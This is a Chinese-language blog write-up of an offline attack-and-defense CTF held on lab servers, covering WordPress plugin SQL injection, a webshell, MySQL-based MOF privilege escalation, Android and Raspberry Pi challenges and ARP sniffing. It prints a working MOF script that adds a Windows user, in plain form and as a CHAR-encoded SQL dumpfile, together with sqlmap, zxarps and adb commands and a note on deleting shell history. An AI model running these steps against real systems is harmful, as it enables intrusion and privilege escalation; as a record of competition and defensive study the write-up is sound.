0×00

这次比赛去了北京 认识了很多大黑阔哇 好开心的说 大家一起搅基 一起互相猥琐做题也很开心 之后都不会忘记这次的满满基情 这次的分队是随机的 3 个人一队 有 7 个国家 模拟的战国七国争霸 这次有 Kuuki 大黑阔和 Invoker 带我飞

比赛的环境是有内外网两个部分 选手有自己的 3 台服务器的领地 172.16 网段的 可以自己的去拿下的 得分只能得一次 就是需要互相争抢 在最后的时刻守住服务器才能算是得分 漏洞可以修复 分数都是 500

还有高地的服务器是可以重复得分的 一队得分后不会影响后面的队伍得分 分数也是 500 那里有其他的一些服务器 这里的漏洞是不允许修复的 最多就是把自己的入侵痕迹清理了

0×01 wp 的胜利

一开始，任务书给了一个 ip,我们分配的 ip 是 172.16.79.4 这个网段，不同的选手相互划了 vlan。用 nmap 扫描了一下网段之后，是先去研究了自己阵地的服务器。wordpress，一开始就给 wordpress 的 ip。wordpress 的安全性很好，特别是高版本之后的 wordpress。但是 wordpress 的插件就不那么安全了。在选 手说明中，还说明的不要停止网站的插件，更加证明了是从 wordpress 插件渗透进去的。利用工具 wpscan 扫描之后，发现 172.16.79.4 存 在了一个插件

fs-real-estate-plugin 这个插件是有一个 sql 注入的漏洞的，还从发表的日志里 发现了一个用户 ISCC_ADMIN。

我们到 exploit-db 上找了 exp 研究了一下，发现了存在 sql 注入的参数。

[FireStorm Professional Real Estate WordPress Plugin 2.06.01 SQL Injection Vulnerability]

然后在 sqlmap 上，利用 sqlmap 进行了渗透 插件的目录有列目录的漏洞 然后发现了没有 xml 但是有 php 文件

http://172.16.79.4/wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.php?id=1

这个就是注入点

sqlmap -u

“http://172.16.79.4//wp-content/plugins/fs-real-estate-plugin/xml/marker_listings.php?id=1″ -T wordpress

进行注入 一步步注入进去 查找到了网站后台的 hash，wordpress 的 hash 比较难破，和 linux 的 hash 的加密方法相同。在 cmd5 上破解之后，利用这个用户登陆上 去。wordpress 的后台只要能拿到账号，是很好拿 shell 的。直接在 footer.php 中加上一句话木马，然后菜刀连接上去主页就可以了。

之后在找 mysql 的密码，在配置文件 wp—config.php 里面发现了 mysql 的 root 密码。

服务器是 win 的，按说从 mysql 的 root 下手提权的方法就是用 udf 或者是 mof。提权这一步尝试了很久，倒是 flag 很快就拿到了。

flag 是在桌面上，有一个 flag.exe 文件 这个是给出的线索。
使用了 root 权限的 mysql 直接就可以读取到 flag.exe 的内容。

```
1 select hex(load_file("C:/Documents and
  File/Administrator/Desktop/flag.exe"));
```

读取到 flag.exe 记事本打开发现了是一串看不懂的字符串，还有一些键盘的标志 <ESC> <ENTER> 等等 我还观察到^是正则表达式的开头的部分

```
1 <Esc>italen<Enter>recrui<Esc>Vk:normal<space>At<Enter>:1<Enter>dpkJf
  <space>r_<Esc>A}<Esc>^iFLAG:{<Esc>
```

然后直到 Kuuki 发现了:1 可能是 vim 中的参数 才把这些字符串在 vim 中输入 然后得出了正确的 flag 其实我一开始把这些字符串拿去记事本里输入了 可是都没有什么 思路是对了 工具用错 解出来后顺利拿下一血
FLAG{recruit_talent}

后面的提权困扰了我们很久 udf提权 mysql的版本是5.5 有点高 dll必须要放在\lib\plugin 目录下才行 可是那个目录没有权限 进行 udf 传不上去
之前的比赛的时候看到一个姿势，把 plugin 目录改名 然后自己新建一个 plugin 目录就可以在里面 xxoo 了 可以是这次也不行 权限设置得相当死 后来网管提示说不是 udf 提权 而是 mof 提权
我们就去专心研究 mof 提权 这个时候已经有另一个队提权成功了 我们还没提权上去
然后就用 mof 提权 mof 之前做工程实践的时候还用过 还有点印象 有现成的 mof 脚本
就是当时在纠结是写到 C:/windows/system32/wbem/mof/good/目录 还是 C:/windows/system32/wbem/mof/ 这个目录
还有一个困扰我们的问题就是 windows 的密码有规则限制。我们直接用 mof 执行的 net user 添加用户，一直没有成功。后来还给出了提示：
公告四：有些主机是有密码复杂度要求的
我们但是就拼命把密码设置得非常非常的复杂 而且特别的长
Kuuki 牛 本地白盒尝试了才发现原来是密码不能超过 14 位。然后利用 mof 提权加上了用户
还发现 mof 脚本是需要学到这个目录的 C:/windows/system32/wbem/mof/ 执行成功之后就会放到 C:/windows/system32/wbem/mof/good/目录下 失败就到 C:/windows/system32/wbem/mof/bad/下面
要是有时候在 C:/windows/system32/wbem/mof/good/里发现了东西 就是别人 mof 提权过的 看看脚本 说不定能用别人添加的账号登陆呢
mof 的脚本

```
01 #pragma namespace("\\\\.\\root\\subscription")
02 instance of __EventFilter as $EventFilter
```

```
03 {
04         EventNamespace = "Root\\Cimv2";
05         Name   = "filtP2";
06         Query = "Select * From __InstanceModificationEvent "
                           "Where TargetInstance Isa
07 \"Win32_LocalTime\" "
08                         "And TargetInstance.Second = 5";
09         QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13         Name = "consPCSV2";
14         ScriptingEngine = "JScript";
15         ScriptText =
           "var WSH = new
16 ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net user appleu0 appleu0
   /add\")";
17 };
18
19 instance of __FilterToConsumerBinding
20 {
21         Consumer     = $Consumer;
22         Filter = $EventFilter;
23 };
```

修改那条命令就可以用了 先加用户 再加权限
使用 mysql 的写法是

```
select
CHAR(35,112,114,97,103,109,97,32,110,97,109,101,115,112,97,99,101,40
,34,92,92,92,92,46,92,92,114,111,111,116,92,92,115,117,98,115,99,114
,105,112,116,105,111,110,34,41,10,105,110,115,116,97,110,99,101,32,1
11,102,32,95,95,69,118,101,110,116,70,105,108,116,101,114,32,97,115,
32,36,69,118,101,110,116,70,105,108,116,101,114,10,123,10,32,32,32,3
2,69,118,101,110,116,78,97,109,101,115,112,97,99,101,32,61,32,34,82,
111,111,116,92,92,67,105,109,118,50,34,59,10,32,32,32,32,78,97,109,1
01,32,32,61,32,34,102,105,108,116,80,50,34,59,10,32,32,32,32,81,117,
101,114,121,32,61,32,34,83,101,108,101,99,116,32,42,32,70,114,111,10
```

9,32,95,95,73,110,115,116,97,110,99,101,77,111,100,105,102,105,99,97,116,105,111,110,69,118,101,110,116,32,34,10,32,32,32,32,32,32,32,32,32,32,32,32,34,87,104,101,114,101,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,32,73,115,97,32,92,34,87,105,110,51,50,95,76,111,99,97,108,84,105,109,101,92,34,32,34,10,32,32,32,32,32,32,32,32,32,32,32,32,32,32,34,65,110,100,32,84,97,114,103,101,116,73,110,115,116,97,110,99,101,46,83,101,99,111,110,100,32,61,32,53,34,59,10,32,32,32,32,81,117,101,114,121,76,97,110,103,117,97,103,101,32,61,32,34,87,81,76,34,59,10,125,59,10,105,110,115,116,97,110,99,101,32,111,102,32,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,32,97,115,32,36,67,111,110,115,117,109,101,114,10,123,10,32,32,32,32,78,97,109,101,32,61,32,34,99,111,110,115,80,67,83,86,50,34,59,10,32,32,32,32,83,99,114,105,112,116,105,110,103,69,110,103,105,110,101,32,61,32,34,74,83,99,114,105,112,116,34,59,10,32,32,32,32,83,99,114,105,112,116,84,101,120,116,32,61,10,32,32,32,32,34,118,97,114,32,87,83,72,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,92,34,87,83,99,114,105,112,116,46,83,104,101,108,108,92,34,41,92,110,87,83,72,46,114,117,110,40,92,34,110,101,116,32,117,115,101,114,32,104,97,104,97,32,119,112,99,97,112,95,116,104,49,115,32,47,97,100,100,92,34,41,34,59,10,125,59,10,32,10,105,110,115,116,97,110,99,101,32,111,102,32,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,10,123,10,32,32,32,32,67,111,110,115,117,109,101,114,32,32,32,61,32,36,67,111,110,115,117,109,101,114,59,10,32,32,32,32,70,105,108,116,101,114,32,61,32,36,69,118,101,110,116,70,105,108,116,101,114,59,10,125,59) into dumpfile "C:/windows/system32/wbem/mof/appleu0.mof"

就可以成功加上用户 haha 密码：wpcap_th1s
然后再改写一下提权至 administrators 组即可
3389 连上就可以了 如果就在桌面上观察到了 flag.exe 还有一个 sendflag.exe

0×02 wp 漏洞修复

我们但是的漏洞修复 就是按照入侵的步骤来修复的 这样子才能修复的全面完整
先把 wp 的注入给修复了 intval()就可以搞定了
然后就去改 wp 后台的口令 有点弱 改得强一些 cmd5 破不出了的那种
再是淫荡的把 mof 目录给删了 要加上目录就很难了 还有把 mysql 的密码给改了
Mimikatz 读取了管理员的密码之后 把密码也改了

稳定下了这一台后 我们就向别的服务器进军

0×03 进击

我们拿下了自己 wp 之后 就想着要拿下别人的 wp 要拿下先要有目标
自己也在服务器上面开了 vpn 自己连上 vpn 之后 也能很方便的用 wpscan nmap 什么的
我们用 nmap 扫描网关 这样子找的比较快 172.16.*.254
找到目标之后 就上去找 wp 漏洞 发现是不同的插件 但是还是有注入漏洞 有的队伍修复得很快 一会的没有漏洞了 或者是密码被改得很复杂了 没法解开 hash 千辛万苦才找到了一台服务器没有人管的 楚国的服务器 黑猫他们 3 个人都是偏逆向的方向 没有人日 wp
楚国的渗透，发现了他们 wp 还没有修复，然后还是查找了插件，发现插件改变了。yolink-search 使用了这个插件，然后渗透进去，发现还没有人做，利用和之前一样的方法拿到 mysql 账号，mof 提权，添加账号，然后登陆上去。
成功拿到 flag，手快的把那些漏洞给修复了。然后去又去别的主机游荡，发现虽然有的还没提权拿到 flag 但是漏洞都被修复了。没法拿下，除了几台 iscc 弱口令的拿下的方式不太一样，还没有人提交。然后我们就去拿 iscc 弱口令的了。
韩国的 JC 老师
韩国的这个就是低权限账号 iscc 弱口令，利用 iscc2014 这个弱口令进去了之后，然后在 iscc 的后台有一个插件的注入，获取高权限的账号 ISCC_admin，然后再拿 shell 提权。所以需要能弄到弱口令才行，后面的方法也是一样的。修复也是类似的，修复了注入。
其他的队虽然没有很快的拿到 flag，当时都把入口堵住了 没法注入 或者是借不开 hash 拿不到 shell 到了下午基本大家也都做出来了 第一天的比赛一共收获了 3 台 wordpress 获得 1500 分
第一天黑猫他们很猛 拿下了 7 国的 B 主机 是溢出的题目 看得我一愣一愣的 我们都没有去做那个题
C 类主机在第一天也没有人搞出来 Ricter Z 他第一天晚上说是快要搞出来了

高地的 ip 需要做一个 socket 的编程才能获取 我们 3 个 web 编得死去活来 才搞出来
socket 编程 要求我们实现 1000 次加法的运算 用 python 来实现

```
01 import socket
02 import time
03 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
04 sock.connect(('192.168.100.201', 9999))
05 time.sleep(2)
06 while True:
07         rev = sock.recv(1024)
08         print rev
09         left = rev[rev.find(':')+2:rev.find('+')-1]
10         right = rev[rev.find('+')+2:rev.find('=')-1]
```

```
11          sum = int(left)+int(right)
12          print sum
13          print sock.send(str(sum)+"\r\n")
14          time.sleep(2)
15 sock.close()
```

0×04 小米盒子

小米盒子这个服务器是给了一个前端的服务器，需要先拿下服务器。nmap 扫了一下，发现开放的端口并不多，只有 135 139 445 这几个 windows 自带的。所以就判断是类似于 ms-08067 类似的溢出漏洞来获取权限。

利用了 ms 的漏洞获取了权限之后，发现了一个 apk，本地安卓安装了一下发现没法运行。然后就去研究那个 apk 文件。

利用 dex2jar 还有 jdgui 这两个工具可以看到一些 apk 的源码。然后使用 adb 进行调试 直接运行发现会报错

```
01 package com.iscc2014.Box;
02
03 import android.app.Activity;
04 import android.content.Context;
05 import android.content.Intent;
06 import android.media.SoundPool;
07 import android.os.Bundle;
08 import android.util.Log;
09 import android.view.Menu;
10 import android.view.MenuInflater;
11 import android.widget.Button;
12
13 public class MainActivity extends Activity
14 {
15     Button button;
16     long palysoundagain = 10001L;
17     long selfclosetime = 30000L;
18     long startplaysound = 5000L;
19     String tabString = "iscc2014";
20
21     public void myPlaysound()
22     {
```

```
23          SoundPool localSoundPool = new SoundPool(10, 1, 5);
24          Context localContext = getApplicationContext();
25          localSoundPool.load(localContext, 2130968576, 1);
26          MainActivity.3 local3 = new MainActivity.3(this,
localSoundPool);
27          localSoundPool.setOnLoadCompleteListener(local3);
28      }
29
30      protected void onCreate(Bundle paramBundle)
31      {
32          super.onCreate(paramBundle);
33          setContentView(2130903040);
34          Button localButton1 = (Button)findViewById(2131296256);
35          this.button = localButton1;
36          Button localButton2 = this.button;
37          MainActivity.1 local1 = new MainActivity.1(this);
38          localButton2.setOnClickListener(local1);
39          try
40          {
41              Bundle localBundle1 = new Bundle();
42              Bundle localBundle2 = getIntent().getExtras();
43              String str1 = this.tabString;
44              localBundle2.getString(str1).length();
45              new MainActivity.2(this).start();
46              return;
47          }
48          catch (Exception localException)
49          {
50              StringBuilder localStringBuilder = new
StringBuilder("WOW! You are very close to the flag! \n Note the startup
parameters label---");
51              String str2 = this.tabString;
52              String str3 = str2;
53              Log.d("iscc", str3);
54              finish();
```

```
55          }
56      }
57
58      public boolean onCreateOptionsMenu(Menu paramMenu)
59      {
60          getMenuInflater().inflate(2131230720, paramMenu);
61          return true;
62      }
63 }
```

发现运行不起来，是参数有问题。缺少了参数，需要使用上一个 iscc2014 的参数才行，然后就在前端 xp 服务器上使用了 adb，然后使用 adb shell am start -n 包名/包名＋类名（-n 类名,-a action,-d date,-m MIME-TYPE,-c category,-e 扩展数据,等） 使用这个

```
1 adb shell am start -n com.iscc2014.Box/com.iscc2014.Box.MainActivity
  -e iscc2014 appleu0
```

这样子就能听到 咦，主人好像发现野生 flag 一枚呢
和网管说一下就能得到 500 分了

0×05 树莓派

首先检测到了树莓派的 IP，通过 nmap 扫描发现开启了 SSH 服务。直接 SSH 服务登陆，试了几个弱密码发现不对。之后就从网上搜索了树莓派的默认账号名 和密码，接着成功使用 pi、rasyberry 默认的账号密码登陆。登陆之后发现了一个 pdf，接着打开 pdf 发现是树莓派摄像头的使用手册，便想到可能 是开启摄像头拍摄 flag 的思路。接着从 history 中发现了开启树莓派的摄像头的命令，接着成功得到 flag。
这个题是跟着别人进去的 进去之后 我们也把 histroy 删除了

Remain_strong

0×06 其他没做出来的

还有一些题 研究出了个大概 到了比赛结束一点破才恍然大悟 痛心疾首
第一个题是 ricter Z 做出来了 秒杀了全场的 st2
漏洞模拟了 wooyun 上的一个实例 我们当时都在研究那个 也给出了提示
ricter 过来看了一眼和我说 不是这个漏洞 然后我就去看别的了 真是痛心疾首
悔不当初
真的是这个漏洞
[通过搜狗某搜索功能扫描搜狗内网（续）之攻击内网 struts2 漏洞主机]
哭死了

比赛的时候 模拟了这个环境 利用搜索图片的功能进入内网 然后再在内网里利用 st2 的漏洞里获取权限
很可惜 没有拿下来 主要是脚本的回显有问题 一直没搞出来

还有一道是高地的 web 题目 cookie 欺骗的
题目给出了 down.rar 是网站的源码 是 aspx 的题目 需要我们进行白盒审计 拿到权限 获取 flag
我们就在网上找系统类型的源码 filemanage 文件上传下载管理系统 是这个 cms
然后使用 beyond compare 进行对比 利用了类似与漏洞补丁对比的技术进行查找
发现了 有一处可疑的地方 在 Default.aspx.cs 中

后面是 RickGray 做的 我们没搞出来
这里缺少了认证 然后利用 cookie 欺骗 进入\admin\add_new_user.aspx 中 添加一个用户
有个 rar 压缩包，里面是创力的数据库 里面有管理员用户的 hash
破了就可以就创力后台了 在后台通过增加文章栏目 造成.asp 文件夹 iis 解析
然后 sa 的 xp cmd 不能执行 原本的 cmd 也被禁了，自己传一个 用另一个存储过程 可以执行
一开始只把 flag down 到本地了，但是就是连不上
flag 也是挺纠结 只不过以前 RickGray 牛恰好看到过，一道 defcon 题目 然后就解出来了

OpenWrt wifi 破解的
我们没有去抓包破 是到后来别的组也没搞出来 拿来给我们看了一下
比赛的时候还有一个 wifi 需要我们去破解 然后渗透
OpenWrt 的 wifi 密码是 ihack
比赛的时候 一说有 OpenWrt 的 wifi 大家的 wifi 的 ssid 都变成了 OpenWrt 一下多了好几个 wifi
还有大神现场用 wifi 做钓鱼的 还真的钓到了
然后登陆上去肯定是去看后台
192.168.1.1
发现需要登陆 尝试了一会弱口令没尝试出来就去看看网页的源代码没看出个啥就放弃了
其实正确的思路是在后台源码的 js 文件里面 好像说里面藏了 后台登陆的账号密码

网管说有一个 flag 比较有趣 就放出来 purpleroc 他们队不到十分钟就秒了 吓死我们了 后来了解到是 google 到一模一样的 然后就秒破了
题目给的是 Flag.txt 内容是

```
0 H4sICG/S1lMAA2lzY2MyMDE0AO3TT2jbVhwH8OckVts128wORYxSnlkOK8ygsVJ8CI
1 tJ96+jC9vK
```

```
0 BvWhiI2ZBXTYKRRjRA3zKGMuvQxCTOLgER162C2UMJ5MESOE4stMIJCjewvppWNtkP
2 d7T9KLnJHC
0 xrbT9xNbX7/fe9J7T1KW3r36aqHAtMtzl9iVGbF9wx/fDW52GedPhf+aJ/hDETC/1j
3 3BNwdPuOVO
0 H+oJuM+6M7Ikhy14JRrm97OX+cthMNWd5oHs5cshXw/5L6EcU/RO89+ELzxGY7zT/i
4 ka/krys+SH
0 3h795DzsvbN/EJQ6nwTnOh8Hhc6nwZedqyNrMDV60y/cPlPbpK9/8t6Z2vnCjwubgy
5 e9zweFGvVM
0 855lfkjOT58q0cy12wb/weD2KpXMZd4pr74gdfj35ld87acyrdb2GQ2ij31vipee0c
6 F6ZtNCaUu3
0 Br/b35W/5R77me8btPNfBO9sr+gzXgxpr0zuNfRiueLH4ki9700fUz+Z1I9e6LgTjp
7 sg9P5ILxSc
0 6xa4Hbwkjz4tVi25SFvolbsG73E60GMSyZPrcXNZdPidqVH51mDH/mxp6Vrl/QsfvV
8 VmCOQeKnSo
0 lBh9Lbbwxtzr7FLl8lzlQuU9ehWejwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
9 AAAMC/4a44
1 IWbEuK2Mmauww3ZjZWXli1x7sbl4fXGy3cy36/XFZjPff32yn9r1iXa9OTm+rvpvJu
0 IEtdc31j2P
1 2lE/2t2l9urGxqrsH/X7I+p/sHZn7QG17w/3hvfjv30XHrXbjLXbj46rH82/nueO26
1 qSZXvs5tKO
1 FFPnrKLzHz26/5ApMVOn4ziqfpgx/Tk6zbfteaNl6mwOZk2r0dBpffC1Vb9yUae8aj
2 pPkslt0Wmp
1 iS2dzNxxd+RQnaZr5jO5mJVLN61mKes6DYPWZds6W9FwOIxaOs2qnNfV2YqMs9+IeC
3 INNT7Js/PO
1 1lY8qzMWB4asZ9mKxEGUy1jOa1k6W1RM+nW6Ri7/bzRvHEWRTlq0/OikfQiR7EclFa
4 OOX2UsxIGg
1 +zSZQiedt5veD5VROk+W8+q5z+s0JBqXZbS1vb+9FekUSqwz2qPHKK+XZTQaPsxlS6
5 2zpVNuSq4r
1 y7RuZCnrcp4sad2t9LmqdM3kPyXLKL3uYTpOtVrKpXzRnFw6VUetL8lGoyG3rpPek6
6 ot72OaAAAA
17 AAAAAAAAAAAAAM/zJ815iZQQYAAA
```

然后一开始以为是 base64 没搞对 其实可以 google 到的
原来是姿势错了 base64 是对的 base64 出来发现是二进制的东西 就判断会不会是一个文件
[解密 Cagetest 招聘页面]
一模一样的题目 就是数据改了
在 linux 下

```
1 base64 -d 1.txt>base64
```

```
2 file base64
```

然后发现是一个压缩文件 用 7z 可以秒杀很多的压缩文件

```
1 file iscc2014
```

发现还是任天堂的 nes 用个 Virtualnes 打开黑屏了
网管是用这个 nestopia 打开的

就获取到了 flag
I$CC-I$-4-FUNNY-G4ME!

0×07 社工出奇迹
比赛的时候还有很多很好玩的事情 我很机智的把我的 gear 手表带去 去进行拍照什么的 去之前还把声音去消除了
具体的教程在这里 gear 免刷机相机消声
然后就用手表拍拍照什么的 其实也没拍到啥 都没想用手表去搞
后来想到了一个猥琐的 把手表的录像功能打开 然后放在选手的桌子上 进行偷拍 不过也没有进行 gear 大法好

还有 ricter 一开始拿到 C 类主机的漏洞的时候 还苦于没有找到别的 C 类服务器的 ip 没法攻击别人
他进行了实地社(zuo)工(die) 跑去看别人的任务书 后来据他说 尴尬了 抢的时候抢错了 抢到了比赛简介 没拿到任务书
然后他就被吊打了 后来我们之间还在打算进行交易之类的 我给他们 ip 他们分一些主机给我们 之后还是没有谈拢 他们用了 nmap 之后也就拿下了七国
当时他们在做出 ST2 这个的时候 我们队急了 知道这个题要是全搞下来那肯定就是第一的 我们之前拿下里过他们的一台 A 类主机 就在 A 类主机上嗅探 用 ettercap 没嗅探到 换了用 cain 嗅探 cain 只能制定特定字段的 没有全部的 http 信息 就用 wireshark 配合抓包分析 可是什么也没有
回来之后和 laterain 交流 他说了一个方法 使用 zxarps

```
1 zxarps.exe -idx 2    -ip 172.16.96.100 -port 80 -save_a data.txt
```

这里这个可以嗅探到双向的 80 端口的信息 而且可以命令行操作 很便于只有 cmd shell 的情况

这次的比赛 还没有限制 可以交换 flag 之类的 因为 自己阵地的服务器 是需要拿到服务器的权限 然后再用上面的 sendflag 发送 flag 来获取分数的 光是拿到 flag 是没有用的
这个分数只算最后是谁获取的 如果被别人拔旗了那么之前的分数不算 楚国的黑猫他们 第一天的赢面很大 拿下的七国的溢出 可是第二天因为没有好好防守被 gank 了 这个方式很好 还能进行交易之类的 每队都是为了自己的胜利 去想办法合纵连横 很有趣 大家也不是沉闷地各做各的 而是互相在渗透着对方 有时候过去打听一下消息 获取一下别人的进度啊 消息之类的 真是不打不相识 非常有趣

0×08 后记

比赛到了最后 是第四名 比较可惜 不过 大家玩的还是非常的 high 的 最后 ricter joychou 他们获得了第一很屌 很强大 也在线下认识了很多大黑阔啊 很开心 要多找大黑阔搅基 还有膜拜网管 感觉太屌了